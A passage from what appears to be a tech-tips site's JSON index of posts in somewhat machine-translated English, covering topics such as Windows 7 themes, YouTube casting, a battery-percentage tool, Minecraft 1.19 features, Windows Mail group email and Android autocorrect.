2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq3tc6loKdloJq0tHnToZitZaOhtrE%3D\n","link":"/post/how-to-fix-violin-pegs-that-slip/","section":"post","tags":null,"title":"How to Fix Violin Pegs That Slip"},{"body":" The theme you choose for your Windows 7 computer can enhance your experience as a user, and affects the desktop background, window color, sounds, and screensaver. In Windows 7, you can either create your own theme, or install a custom...\nMethod 1of 2:\nCreating a Windows Theme  Click on 'Start' and select 'Control Panel.' The Control Panel window will display on-screen.\n  Type 'personalization' into the search bar of Control Panel, and select the option when it becomes available.\n  Click on any one of the follow theme types. After selecting your preferred theme type, you can customize your theme even further by selecting a background, window color, sound theme, and screensaver.[1] Aero Themes: Pre-loaded Windows themes. Installed Themes: Themes created by your computer manufacturer and other third-party providers. Basic and High-Contrast Themes: Themes that can help improve your computer's performance, or make items on your screen easier to see from a visible standpoint.   Click on 'Desktop Background' and indicate whether you want to use a single picture or slideshow.\n  Select one or more images to use for your background, then click on 'Save changes.'\n  Click on 'Window Color,' and select the color you want to use for your Start menu, taskbar, and window borders.\n  Click on 'Save changes,' then click on 'Sounds.'\n  Click on any item within the 'Sound Schemes' list displayed on-screen. This will change the sounds of events that take place on your computer, such as when you empty the Recycle Bin or install a new program. Click on 'Test' to hear samples of sounds before you apply the changes to your computer.[2]   Click on 'OK,' then click on 'Screen Saver.' The Windows 7 collection of pre-loaded screensavers will display on-screen.\n  Click on the screensaver you want applied to your computer, then click on 'OK.' Click on 'Preview' to see how the screensaver looks on your desktop before applying changes.[3]   Click on 'Control Panel Home' at the top left corner of your Control Panel session.\n  Navigate back to Personalization and click on 'My Themes.'\n  Click on the unsaved theme you just created. The theme will immediately apply to your desktop and computer settings.\n  Click on 'Save Theme,' then type a name for your theme.\n  Click on 'Save.' The theme you created will now be installed on your Windows 7 computer.[4]\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6GdnZrAbrLOq2SwoZ6ZvLi%2FjHA%3D\n","link":"/post/how-to-install-themes-for-windows-7/","section":"post","tags":null,"title":"How to Install Themes for Windows 7"},{"body":"Learning English on a computer or learning a foreign language on the phone is no longer strange to anyone, when learners can be more convenient when looking up information. So there are many applications, language learning software or even the installation utility on Chrome browser.\nPreviously, Network Administrator has come to read some translation utilities on web browser, so you can translate right on the web without using Google Translate. And in this article, you'll have a useful English learning tool, with the Rememberry utility both capable of translating and learning words through tags and word checking. The detailed way to use the Rememberry utility will be in the article below.\nTop 15 leading English learning apps on Android and iOS Learn interesting English idioms right on Facebook Messenger Top 10 best websites to find foreign friends learn English and exchange languages How to use Rememberry in Chrome to learn a foreign language Step 1:\nClick on the link below to install the Rememberry utility in your browser.\nDownload the Rememberry utility   Step 2:\nTo use the Rememberry utility to translate content on a web page, we can highlight the phrase and then see the Rememberry utility icon .\n  Or we can highlight the word, then hold down the Ctrl key and double-click twice. Or highlight the phrase and right-click and choose Translate with Rememberry .\n  Step 3:\nWhen clicking on the utility icon, a word translation table will appear with transcription of words and pronunciation. As such, users can learn the meaning of the parallel words as the pronunciation of the word.\n  With the Rememberry utility paragraph will also translate for the user with the most accurate meaning. By default the language is English but you can click to switch to another language that you want to translate.\n  Also when you click on the utility icon in the address bar there will be some other options. You also highlight the word you want to translate and click on the icon of the Rememberry utility. Hover your mouse on the arrow icon and select Translate to translate.\n  To return to the learning interface, click on Learn .\n  Step 4:\nTo save the word you want to learn in the Rememberry utility, highlight the word you want to save and click on the Rememberry utility icon. In the pop-up interface, click the Save icon to save the word.\n  Step 5:\nWhen looking at the Rememberry utility icon we will see the number of words saved. To check saved words click on the widget icon. In Learning mode , you choose the learning mode.\n  Basic Classic mode with synonyms, antonyms, definitions, examples of words. Click Start to learn, click Show answer to see the translation of the word. Finally, learners will rate the word for easy (Easy), medium (Normal) or difficult (Hard).\n  Reverse learning mode is similar to Classic but will see previous translations.\n  Typing mode will get synonyms, examples of words, but there is a text box to enter the translation.\n  Listening mode will favor pronunciation to practice words next to definitions, synonyms, examples of words.\n  Step 6:\nClick on the widget icon and then click Settings to open the utility settings page. The installation interface of the utility appears. When you click on the Decks item on the left side, you will save the saved words to learn.\n  If you want to create each topic, click the Actions button and choose Create deck and give it a name.\n  Also in the Settings interface, users can change the source and target language, shortcut to activate word translation, .\n  A utility that enables users to learn English right on the browser, while learning to translate words can learn pronunciation, listening, synonyms or antonyms. Rememberry brings many useful features, making learning Google Chrome more effective.\nSee more:\nHow to learn English on the phone with Johnny Grammar's Word Challenge How to learn English for free with Vndoc, from basic to advanced Learn how to pronounce English with fun games on Chrome I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSVlr%2BvecSnnqWho516sLqMnJ%2Brp52aerW00aisoKBdqbWmedGepJ6lkpq%2Fs8WMrquipJmpxg%3D%3D\n","link":"/post/how-to-learn-english-on-chrome-through-the-rememberry-utility/","section":"post","tags":null,"title":"How to learn English on Chrome through the Rememberry utility"},{"body":" Express yourself by making Littlest Pet Shop (LPS) videos. With a bit of creativity, a camera, and of course, some Littlest Pet Shops, your LPS videos can be a source of pride. This article will help you out with the planning and execution...\nPart 1of 5:\nDeveloping the Video Concept  Have an idea. Know what you want to make your videos about. Think about the plot, setting, and characters of your videos. Make sure you aren't copying someone else's plot––your videos should be entirely your own. Be creative and try to come up with something completely original. Watch well made \"Littlest Pet Shop\" videos for inspiration.   Pick what type of video it will be. Will it be a comedy, action, romance, etc. Think about the video's main theme. Will your video be about a robbery? A contest? Think about the ending of the video. Will it be happy or sad? Typically, \"Littlest Pet Shop\" videos will have a happy ending, but it's your video and your choice.   Write a script. This step is optional. Some people are good at improvisation but others need scripts. If you have trouble remembering your LPS' names, this is probably a good idea. You can type your script on your computer and then print it. Or you can write on some paper. Or you can type into the notes on either your phone or iPod. If you want to have a flawless performance in your \"Littlest Pet Shop\" video, know every single word that you're planning to say. First, list all the characters that are going to be in your video, and name each role they are going to play. To get this done fast, get out all the Littlest Pet Shop characters you have, and line them up in front of you. Use this line-up to inspire your script writing. Make sure the script is well organized, and that every word you plan for each character to say is located in the correct position. Improvisation is also useful, you can combine it with a script.   Keep things simple. You don't need to make an elaborate video to get a bunch of wows and oohs! Simple is great, as long as your idea is cool and your own. Every great video has to start simple in the beginning!\n Part 2of 5:\nSetting up the Filming Area  Find yourself a nice quiet area. It can be your bedroom, living room, spare room, anywhere. Just make sure there's no background noise. That way, people can actually hear what you're saying rather than hearing your sibling bickering or playing.\n  Use a flat surface for your movie. Film on a desk or table to prevent shaky camera movements. Position your camera on a tripod or flat, sturdy surface for better stability. Make sure that the frame contains the area you wish to focus on, and that the whole scene can be seen clearly. It would be wise to press the record button and run a test video to make sure that your camera is in the exact position you want it to be.   Ensure that there is good lighting. Some people think lighting doesn't matter, but it does. A good idea for lighting is if it's daytime, maybe film near your window to get good lighting, but don't have the window in the background! If it's too dark with no light, use a lamp. If it's too bright in the video, try turning off some lights. Film during the day, when it's sunny outside.   Make a set. Use props from other toys or make your own. For instance, if your LPS is supposed to be in a forest then make trees and bushes out of cardboard, or go outside and pick up a few fallen leaves.\n  Choose a background. If you are uploading your video to YouTube, then you will need a nice solid background. For example, against a wall, a door etc. Having stuff in the background like chairs, boxes and extra toys wouldn't be the best idea if you're trying to get a lot of views. This is because the stuff in the background like pictures is distracting and the viewers could be trying to see what picture was on the wall than what you were doing. On a scene with windows, stick pictures of towns, hills, forests, etc., so that it hides the room background.   Make props if needed. This includes things the pets are walking on, holding, eating from or looking at. This includes costumes. For example, make a zombie costume by taping pieces of ripped toilet paper stained red with markers on an LPS pet.  Part 3of 5:\nAssembling the Characters and Rehearsing  Choose your LPS. Choose a few main LPS for your video. Make sure you know all their names so there's not a big, long pause in your video where you're trying to remember one of your LPS' names. However, this may be a difficult step for some people if they have a lot of LPS and are very particular about which pets they choose for a video. So take your time! There is no pressure, as you can start filming any time you want. It is your video after all!\n  Practice beforehand. It is helpful to a lot of people to do it before you start to record the actual thing. For example, while your video editor is loading the scene, act out the next scene to pass time. Then you will have more time to edit the scene and your video quality will become better. Practicing with the characters beforehand helps you to be familiar with the whole show, and the chances of you stumbling through the video will be lowered. You don't necessarily have to have the script completely memorized, although having a basic knowledge of what is going to happen next in the video is very important. You don't want to get mixed up in the middle of recording!  Part 4of 5:\nMaking the Video  Avoid interruptions. If possible, shut the door to block out any sounds your family makes. If this is not possible, politely ask your parents to remain as quiet as possible during your recording session. If you have a sibling, ask him or her to also remain quiet, and request that your parents make sure the sibling keeps quiet. However, if you do not ask in a nice tone, your parents and/or sibling may refuse to keep quiet! If you plan to have music playing in the background while recording, make sure it is loud enough for the camera to hear. It is recommended you play the music next to the camera so that the camera will record it as well. However, be sure you do not have the music turned up so high that no one is able to hear you speaking!   Get a camera and film. Get a camera, camcorder, or other device that can film, and film your video.\n  Make sure you have your script with you, and that each character is in its correct place. Flip through the script to make sure that all the pages are in the correct order (numbering them would be good if you accidentally drop the pages in the middle of the video). It is best that you place the script out of the camera's view, but clearly in yours.\n  Drink some water before you start recording, as all that talking may make you very thirsty! It is a good idea to keep a bottle of water nearby in case you need to drink something, but make sure the camera cannot see the water. Try not to place water near the camera, as it may spill onto it and damage it. Drinking noisily will cause viewers to be not able to hear you.   Start filming the script as prepared. All you have to do is press record, say a line, press stop, move your camera, press record, say a line, press stop, etc. Make sure you press the record button firmly so that you are certain the camera is recording, for if you press it too gently, it may not receive the command to record. It is best to quickly and quietly check the screen to make sure that the camera is actually recording. You can film from different angles.   Consider making clips. Just record a clip at a time. For example, if the first line in your video is the LPS saying \"Hi there!\", record the LPS saying \"Hi there\", plus any other lines you want him/her to say. Then stop recording, and do the next clip, and so on. Stop motion is also a good idea. This can make LPS characters more realistic (in a way). Don't do it if you don't have a lot of time on your hands because stop-motion requires a lot of work. When your LPS is talking, make its head move to every word's syllable. For example, the word 'chicken' has two syllables, so when you make the pet say this word, move its head twice.   Be careful when moving the LPS figurines around. Don't put your fingers over the Little Pet Shop's face otherwise the viewers will get irritated by the lack of connection. For example, avoid gaffes such as: \"I love your eyes, Sparkle,\" but filming so that the viewers only see fingernails and not the LPS's eyes.\n Part 5of 5:\nEditing and Uploading  Edit. Now you have your footage, you need to edit. Use an editing software to put all the clips together, add special effects, and maybe some background music. Free trial video editors include VideoPad, Sony Vegas, Pinnacle Studios, AVS Video Editor, iMovie, and so on. Always ask your parents first. Research video tutorials if you have no idea at all how to do this. Each video editor has its own process. If you have a long movie, removing unnecessary parts is recommended.   Add background music. It'll make a big difference. Sometimes, it blocks out some background noises, (dog barking, etc.). If there is a noise in the background, just reshoot the clip. It looks and sounds more professional. Add sound effects if you can/need to. Just don't make it too loud or it will overpower the video. If you add little animations, try not to add too many, as excessive use of animations can irritate viewers.   Review your video. Redo clips if you think it necessary. Save the clips that didn't work as a blooper. Everyone loves seeing those!\n  Save your video. Even if you make many more videos, you will regret not having the early ones that made your brand. If you want to take it further, publish it online. Save them onto your computer first, then publish (see next).\n  Encourage viewers to find your film. If you are making a series, a good way to capture people's attention is to make a trailer first. A way to do this is to film your first episode and then take clips from that to make a trailer. Make sure you use a good title so people can find your video easily. If you start with Littlest Pet Shop or LPS when fans search those word they will find your video.   Upload. Your video is ready to be uploaded. Go to YouTube or any other video account you prefer. Click the upload button. Choose your video and then type in a description, title, tags etc. Let your video upload and watch as your views stack up. Make sure to give credit to any music that you've used in your movie, and - most importantly - give credit to the \"Littlest Pet Shop\" makers.   Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJus86om2akmanBrbHSrWSpnaRiwKm7z2atopyVpMA%3D\n","link":"/post/how-to-make-good-littlest-pet-shop-videos/","section":"post","tags":null,"title":"How to Make Good Littlest Pet Shop Videos"},{"body":"With smart TV, you absolutely can experience an exciting open world like accessing and using many applications on television, or transferring images from your phone to a TV. Owning a wide screen, sharp and quality images, vivid true sound, smart TVs will help us enjoy all videos from phones or tablets right away on TV like YouTube videos.\nThere are now many smart TVs that allow us to use applications right on the TV. And can share them on the television screen. And in this article, we will show you how to project Youtube videos on your phone, or tablet on Smart TV Samsung, LG or Sone.\nYou may wonder why the TV has a YouTube application without watching it on it, what does it do from the phone? This way I find it most useful when you watch videos that are geographically limited, must use VPN, then setting up VPN on the phone to find and watch videos and then show them on TV will be easier. The other thing is to write a video name to find on TV that is really a torture, using a phone is faster, right?\nPrepare to show YouTube videos from phones to TVs:\nBoth the TV and the phone have YouTube applications installed. TVs and phones connect to the same WiFi network. The steps for projecting YouTube videos on TV are as follows:\nStep 1: Pair phones and TVs\nFirst, start the YouTube application on the TV. Then go to the Settings section of the application and select Pair device .\nWe will do it with LG smart WebOS operating system TV . Click the Home button and then choose to open Youtube.\n  Press the Home button on the control\n  \nSelect the YouTube app\n  Select Settings\n  Select Device pairing feature\nStep 2: Choose how to connect TV and phone\nAfter selecting the DEVICE FITTING, the TV will show a specific instruction on how to do it.\nWe can choose to connect the device (lap top, phone, tablet) to the TV by Wifi, or by visiting youtube.com/pair .\nAfter you access the link indicated on the TV, we will receive a sequence of codes. Please enter this range of codes.\n  Follow the connection instructions on the television\nFor example, we will choose to connect the phone to the TV by Wifi.\nFirst, you will connect to Wifi for the phone and the same Wifi network with the TV.\nStep 3: Open YouTube videos on the phone\nThen, we open the YouTube app on the phone. Enter a keyword and open the video you want to watch.\nStep 4: Share YouTube videos from your phone to the TV\nClick on the share icon right on the video screen. Then in the TV list can be connected, select the TV you want to share the video on and the video will be played on TV.\n  Open the Youtube video and select the sharing icon\n  Select the TV you want to connect\nFinally videos on Youtube will be shared on the Smart TV screen\n  Youtube videos have been shared on smart TV\nIf you don't see the icon above, you go to share (the arrow returns to the right), scroll down to select Wi-Fi Direct, then if you have Wi-Fi Direct on the TV, the phone will see the TV. You just need to choose the name of the TV to play YouTube videos from the phone to the TV.\nIf you want to stop sharing videos. on the device, simply click the share icon again and select Disconnect . The process of sharing and playing videos on TV will immediately stop.\n  Disconnect the TV from the device\nNote, this feature only uses video sharing on YouTube and does not work with any other video type. In the process of using, need to connect TV and phone device, laptop and use Wifi network.\nSo you can share all YouTube videos from computer devices and phones on your computer. In addition, we can watch movies on YouTube or play games right on the TV with widescreen, sound and vibrant colors.\nRefer to the following articles:\nHow to connect a laptop to a TV using an HDMI port What are the connection ways to watch videos on TV? How to connect mouse, keyboard with Smart TV I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiipLemr9NmsKitpKqvpnnVopuep6Nis7O7zGawqK2iYr2pu82eZK2nXam1pnnTrw%3D%3D\n","link":"/post/how-to-project-youtube-videos-from-your-phone-to-the-tv/","section":"post","tags":null,"title":"How to project YouTube videos from your phone to the TV"},{"body":"By default, Windows 10 displays the battery icon on the Taskbar system tray so users can see how much the battery is charging on their Windows 10 computer. However, if you just look at it, users will be very difficult to imagine the actual battery capacity to be charged anymore.\nThe operating system of smart phones as well as computer operating systems such as Android, iOS and macOS provides options to display the device's battery percentage.\nAnd of course, just hover your mouse over the battery icon in the Taskbar, you'll see the percentage of battery life left on your Windowsn 10 computer.\n  The downside is that Windows 10 does not provide this option to display the battery percentage in the Taskbar. However, if you want to display the battery percentage in the Windows 10 Taskbar, you can still do this.\n1. BatteryBar application free version for Windows 10 To display the battery percentage in the Windows 10 Taskbar, you'll have to rely on the support of the 3rd application. The 3rd application that the Network Administrator wants to mention here is BatteryBar.\nDownload BatteryBar to Windows computer and install.   The original version of BatteryBar is a free utility for Windows operating systems to provide users with some useful information about the battery. The free version of the program will correctly display the battery percentage on the Taskbar without taking up much space.\n  2. Activate and use BatteryBar After installation is complete, the BatteryBar icon will appear in the right corner of the Taskbar. However, if the BatteryBar icon is not displayed on the Taskbar, what you need to do is right-click any space in the Taskbar, then click Toolbars and then click BatteryBar to display BatteryBar on Windows 10's Taskbar. friend.\n  BatteryBar icon looks like the image below:\n  By default setting, BatteryBar will display the remaining time instead of displaying the battery percentage. Simply click on BatteryBar in the Taskbar to switch between Time remaining and the percentage (percentage).\nHover your mouse over the battery percentage to see information about the percentage of battery capacity, charging speed, battery status, past time, total time, battery level.\n  Neither the basic version nor the free version of BatteryBar will display a notification when the battery level is low or when the battery is fully charged.\nThere is also no way to change or customize the BatteryBar default interface in the Taskbar. The final point of note is BatteryBar also works on both Windows 7, Windows 8, Windows 8.1 and Windows 10.\nRefer to some of the following articles: Instructions to turn off ads on the Screen Lock screen Windows 10 How to disable Lock Screen lock screen on Windows 8, 10 Unusually high CPU error correction due to TiWorker.exe on Windows 10 / 8.1 / 8 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWacmai9ra3YoqWgZZKWwbWx0bJkqZ2imLKvwMCgnGannmLBor%2FKm5irZZKWv27DyKebqK%2BjYn5x\n","link":"/post/instructions-for-displaying-battery-percentage-on-taskbar-bar-windows-10/","section":"post","tags":null,"title":"Instructions for displaying battery percentage on Taskbar bar Windows 10"},{"body":"The release date of Minecraft 1.19 update has been officially announced by Mojang - 07/06/2022 on all game platforms. With this update, players will be able to tour the long-anticipated Deep Dark biome, challenge the Warden, raise frogs, and a whole lot of cool new content. In this article, let's find out all the important information about Minecraft 1.19 The Wild update.\n Minecraft 1.19 The Wild update release date Right now, the following platforms will be able to download the update when Minecraft 1.19 The Wild officially launches on June 7, 2022:\nPlaystation 4 PlayStation 5 Xbox One Xbox Series S/X Nintendo Switch Android iOS devices PC New content in Minecraft 1.19 The Wild Warden is deadlier than ever The Warden is a powerful boss mob that spawns in Minecraft's Deep Dark biome. Mojang has been testing this mob for quite some time and it has gained a lot of power since then. A month ago, Mojang released some images for players to test the new Warden. In the old version, Warden didn't have a ranged attack so it was easier for the player to kill it.\n However, in the official release, Warden will gain a ranged sonic attack that can pierce shields, enchant armor, and knock back. Warden can also shoot them quite quickly, making it impossible for the player to use all of their skills. Currently, Warden is a monster with an insanely high 500 HP, 15/30/45 melee damage, and 6/10/15 ranged damage (based on difficulty).\nIn general, it's best for players to avoid Warden because fighting its damaging ranged attack is too dangerous to do.\nFrog mobs and their different forms Frogs are the first amphibious mobs added to the game and as such, they are great for decorating the water in the player's base. People can get up to 3 frog variants, based on the biome's current temperature.\n Players can create Froglights by feeding them magma blocks. Froglight comes in 3 variations: pearlescent (purple), verdant (green) and ochre (yellow). The color is based on the type of frog that eats the magma block. This block emits a light level of 15, the highest in the game.\nThe player can raise frogs with slimeballs to create frogspawn blocks that will turn into tadpoles after being placed in water for a while.\nDeep Dark Biome Deep Dark is a cave biome located deep underground in the Overworld. Its main structure, the Ancient City, is filled with loot and rare treasures. However, players need to be careful not to provoke the Sculk Shrieker and avoid the Warden.\n Some rare items that can only be found in Deep Dark include:\nSwift Sneak : a warm-up charm that increases movement speed when crouching. New Disc '5 ': the new disc is divided into 9 pieces and the player needs to find all 9 to create it. Echo Shards and Recovery Compass : Recovery Compass automatically points to the location of the deceased player, as long as they are in the same dimension. Mangrove Swamp Biome The new Mangrove Swamp biome is an improved version of the existing Swamp biome. This is home to exclusive mangroves, frog variations, muddy water and more.\n They lay eggs in moist and warm areas, like the common Swamp biome. Mangroves are the main flora of this biome, with the ability to grow above water.\nMinecraft Minecraft 1.19 ncG1vNJzZmismaXArq3KnmWcp51kuqq6xJypmp6kYn5yhYytn55lp565pXnUqZuarJVisabAwKKjrA%3D%3D\n","link":"/post/minecraft-1-19-the-wild-update-details/","section":"post","tags":null,"title":"Minecraft 1.19 The Wild update details"},{"body":"In November 2007 Microsoft introduced a client email service called Windows Live Mail. This service is one of the tools included in Windows Live's suite of software products and services. Windows Live mail is a service that inherits both Outlook Express and Windows Mail. This means that in the future this will be the only client-supported e-mail service that is free and all future development work will focus on Windows Live Mail only. So you can consider downloading Windows Live Mail and start learning how to use this service. Let's first explore the new features that Windows Live Mail offers. The first thing you notice is a completely new interface. For an e-mail client, Windows Live Mail has a pretty nice interface that harmonizes Vista and Windows Live.\n  If you don't like or feel bored with the default interface, you can easily change the new look for Windows Live Mail at any time. You only need two clicks to make this change.\n  Another benefit is that users can easily change the presentation and use the functions that are most appropriate to their needs. The interface will be very compact: you have some new buttons equipped with basic operations and configuration options. Like the most recent version of Windows Explorer, the menus will be hidden by default. To activate them you will have to click on 'Show all menus' as shown in the illustration below.\n  Configuring Windows Live Mail is easy, especially if you've used Windows Mail or Outlook Express. Most configuration options are found on similar menus, so configuration is not difficult.\nOne feature assessed by readers using Outlook Express is the ability to work with multiple email identities. Like Windows Mail, Windows Live Mail does not provide this feature. You can make that import or delete existing identifiers. In addition to the interface, Windows Live Mail has some new features not available on Windows Mail. Most notable are:\nEasy e-mail configuration - If you use Windows Live Hotmail, Gmail or Yahoo Mail Plus! (paid service) you don't need to know the addresses of e-mail servers or ports . Enter your e-mail address, password, display name and Windows Live Mail will add the configuration for you. You can refer to method instructions Configuring Windows Live Mail to connect to Windows Live Hotmail and MSN mail .  Split the inbox folder into different POP accounts - If you use multiple e-mail accounts, you will have to separate them into folders for each e-mail account. This can also help users who love the email identity feature.  RSS Feeds - You can easily add your favorite RSS feed and read them directly from the inbox.  Synchronize with Windows Live Contacts - Windows Live Contacts is combined by Windows Live Hotmail, Windows Live Mail, Windows Live Messenger and Windows Live Spaces to provide users with access to profiles and information of related people contact them. This means that you will be able to access the same contact lists when you perform operations on your computer or when accessing Windows Live Hotmail from the web.  Send mail with better quality - When sending images via e-mail you can add frames or borders around the image, and can change the size and layout or even fix image.  Funny icons and error checking English words - Word error checking is always an essential feature. The available funny icons are also a feature known on Windows Live Messenger. Although this feature is not impressive, it is definitely a nice new feature.\n There are some security solutions (like version 7 of Kaspersky Internet Security) that do not detect Windows Live Mail as a client email and do not install spam filters. This means that emails sent and received will not be scanned for security. Perhaps this problem will be dealt with in future upgrades, but until then you may still have a lot of problems if you are not familiar with email protection methods on your computer.\nAfter working with Windows Live Mail for a while, I must say that this email service is relatively fast and easy to use. Certainly many people will not have enough time to learn how to use it. With the exception of security issues as mentioned, Windows Live mail has absolutely no other weaknesses. Although new features do not make a big change, they have built up a relatively e-mail client that pleases many users.\nncG1vNJzZmismaXArq3KnmWcp51kvLex0a%2Bgnq9dpLNuw8inm6ivo2K5qsLEZqSaoZw%3D\n","link":"/post/overview-of-windows-live-mail/","section":"post","tags":null,"title":"Overview of Windows Live Mail"},{"body":"Experts at the UK's International Security Research Laboratory (ISSL) analyzed 269,000 websites providing pornography .\n  They found that 3.23% of these websites contained malicious code including viruses, spyware and adware that could infect visitors' computers. Computers infected with malicious code from pornographic websites may be exploited by hackers.\nThis study found that most pornography websites for free use, only about 10% have access fees. Many websites are humble using tricks to help users, instruct or trick users into accessing linked websites to increase traffic to make money.\nISSL estimates that about 12% of websites worldwide contain some form of pornography and about 70% of men access pornographic websites under 24 years of age.\nISSL researchers recommend access to porn websites, so update security software and use the 'safe browsing' feature (safe browsing) available in many web browsers.\nncG1vNJzZmismaXArq3KnmWcp51kvbC%2Bzaieq5mgnbakedaemayhpJrAbq3RnmSmmZyesKq71KxknKeUmg%3D%3D\n","link":"/post/pornographic-websites-are-malicious-code/","section":"post","tags":null,"title":"Pornographic websites are 'malicious code'"},{"body":"Over the years, Windows has undergone various changes, adding new features and applications. One of the new applications to mention in Windows 10 is Mail. Although this application is very easy to use, it seems that users cannot send email to the group in Windows 10.\nHow to send an email to a group in Windows 10 Solution 1 - Add group emails to a contact in the People app Solution 2 - Add all emails to draft draft Solution 3 - Use an alternative solution Solution 4 - Save email addresses in a Word document Solution 5 - Use web application to create groups Solution 6 - Install the latest updates The new Mail app provides a neat design and simple user interface, but unfortunately, it seems that the option to send emails to contact groups does not appear in this new Mail application.Contact group is one of the most useful features of every email application, as it allows easy emailing to certain groups of people, such as colleagues or family members. . Without this feature, users must manually enter all email addresses to send email to a certain group. Although this is a pretty big weakness, there are several ways to fix this problem.\nThe Mail application is a default email application in Windows 10 and generally works very well. However, many users have reported that they cannot send email to the group using this Mail application. Talking about the Mail application, today's article will cover the following topics:\nCreate a group in the Windows 10 Mail application - Groups are not fully supported in the Windows 10 Mail application. However, there are several ways to send email to multiple contacts. Distribution list feature in Windows 10 Mail application - Distribution list feature does not appear in Mail application completely and if you want to send email to multiple contacts, you will have to use one of the solutions below. Solution 1 - Add group emails to a contact in the People app The simple solution is to create a new contact in the People app to represent a specific group. Follow these steps:\n1. Press Windows + S and enter 'people'. Select People from the list of results.\n  2. When the People app launches, click the + button to add a new contact.\n  3. In the Name section , enter the group name. In the Personal email section , enter all the emails that will be associated with that group. Use semicolons to separate emails. Do not add whitespace characters after email, just use a semicolon to separate it.\n4. Once completed, click the Save icon in the upper right corner.\n  5. Now, the new group will be added to the contact list.\n6. Select 'group' from the left panel and in the right panel, click the Email Personal section .\n  \n7. Windows How do you want to open this? will appear. Select Mail and check Always use this app . Click OK.\n  \n8. Mail application will now open with all email addresses from the group created above.\n  This is a simple solution and although it may not be the best solution, many users have successfully applied it. The only downside of this solution is to select the group in the People app whenever you want to send an email to the group.\nSolution 2 - Add all emails to draft draft This is not the best solution, but some users suggest keeping all the group's email addresses in a draft. Just start writing an email and add all recipients to the To field . To send an email to a group, just start composing a new email and copy all email addresses from the draft into the To section in the new email. This is an elementary solution, but it is still better to add individual email addresses.\nOn the other hand, because the email has been saved as a draft, you can only select it from the Drafts folder to quickly email the group. If you regularly send multiple group emails, this solution may be right for you.\nSolution 3 - Use an alternative solution   The Mail app does not have separate support for contact groups, so if you do not want to use any proposed workarounds, you may consider switching to another email application. According to many users, email applications such as Mozilla Thunderbird fully support contact groups, so you can try using Thunderbird or any other email application. If you like an application that looks like Mail, you can choose Mailbird instead.\nIf you want an application that looks similar to Outlook, you should try eM Client . This application has a simple interface and lots of rich features.\nIf you don't like third-party apps, you can always use the web version. Almost all webmail services, including Gmail and Outlook, fully support group email and if you want to send group emails, just quickly log in to the webmail in the browser, send group emails and return to the email application. .\nThis method can be a bit confusing, but a good solution, especially if you don't want to switch to another email application.\nSolution 4 - Save email addresses in a Word document According to many users, sometimes you can solve the problem of not sending mail to a group just by writing email addresses in a Word document. Write down all the email addresses in the group and separate them with commas.\nAfter doing that, select all emails and convert the selected text into a hyperlink. Now you just need to press Ctrl and click on your link, then the Mail application will open in a new window with all recipients in the correct field to enter.\nThen, simply enter the email content and click the Send button to send the group email. As you can see, this is just a simple solution, but it can also be useful. The advantage of this solution is that you can save all groups in a Word document and then simply click on a group to send an email to that specific group group.\nSolution 5 - Use web application to create groups If you cannot create contact groups in Windows 10, you can resolve this issue by logging in to the web version of the email provider. All major email providers, such as Gmail and Outlook, support groups, so simply log in to the web version, create a group, and try sending an email to that group from the Mail app.\nAlthough this solution may sound simple, it is a great way to solve problems quickly.\nSolution 6 - Install the latest updates Mail application is the default email application in Windows and Microsoft is continuing to improve it in Windows 10. The email sending feature for the group is missing, however, Microsoft made some changes to bring some features. Many people demand this.\nAccording to many users, Microsoft has created an option to add multiple contacts to email in the Mail application. Remember that this feature does not allow the creation of contact groups, meaning that you will have to add each contact. This is not the best solution, but a right step.\nTo add more recipients in the Mail application, you only need to do the following:\n1. Create a new email content.\n2. Now click on the humanoid icon to the right of the To field .\n  \n3. Select the desired contact from the list.\n4. Repeat this step for all users you want to email.\nAs mentioned, this is not the best solution, but if you want to send email to a few people, this new feature can be quite helpful. On the other hand, if you want to email many people, you should try another solution.\nIf you don't have this feature, update your Windows. As you know, Windows 10 will usually update automatically, but sometimes you may miss one or two updates.\nHowever, you can always check for manual updates by doing the following:\n1. Press Windows + I to open the Settings application .\n2. When the Settings application opens, go to the Update \u0026amp; Security section .\n  3. Now, click the Check for updates button. If there are any updates, they will be automatically downloaded in the background. After the updates are downloaded, simply restart the PC to install them.\n  After updating the system to the latest version, you will be able to add more recipients to your email.\nThe Mail application does not support contact groups and this is a major flaw for this application. This means that you cannot send email to a contact group in Windows 10 via the Mail application, but can overcome this limitation by using one of the solutions above.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwKa6w2akmqGcYsGwedOhnGafoqTCsXnOp2SmmZmhenJ8\n","link":"/post/send-mail-to-the-group-on-mail-10/","section":"post","tags":null,"title":"Send mail to the group on Mail 10"},{"body":"The Autocorrect feature can be 'savior' to help you get out of embarrassing situations because of spelling errors in emails and messages. However, this feature can also become a nightmare when they mislead readers miserably. This article will show you some tips for using the Autocorrect feature on Android.\nAdd acronyms, special words, unique names to the personal dictionary. Adding acronyms, special words or proper names to the keyboard application dictionary will help you speed up typing, faster text editing, closer to writing.\nIn some applications, such as Gmail, users can add new words directly to the application depending on the device and operating system in use. For example, when typing a word that is not in the dictionary, and it will be replaced by another word (eg 'this' is replaced with 'that'), if the user presses the delete button, the original word will appear. (this) or the user will have to retype the word (this). These words (this) will be underlined in red. Touch or double-click the word to add to dictionary or replace to save to the dictionary.\n  If the application does not have a menu to add words directly to the dictionary, visit Settings to add words. In settings, select Language \u0026amp; input -\u0026gt; Personal dictionary , click the plus sign to add new words.\nIn this setting, users can also add acronyms (eg \"hbd\" for Happy Birthday), special words, symbols, personal names, . Now you can use the dictionary above. All devices are synchronized. Therefore you do not need to reinstall on a new Android device.\nWhen using a third-party Android keyboard application, the process of adding new words will be different when using the default Android keyboard.\nThe Swiftkey keyboard application will learn from user behavior and stop editing frequently used words. However, users can still add abbreviations to the dictionary using the hint and export box. shown above the keyboard\nSwype keyboard application allows users to add or delete words in the dictionary. To add words, press and hold the word you want to add in the selected word list on the keyboard.\nIn Touchpal keyboard application, users must go to the app's settings to add words.\nWith Fleksy keyboard application, users can swipe up once to get back from the original (not spelled) and swipe up 2 times to save words into the dictionary.\nHow to enable and disable the Autocorrect feature. Users can turn off the Autocorrect feature when they do not want to use it. All of the 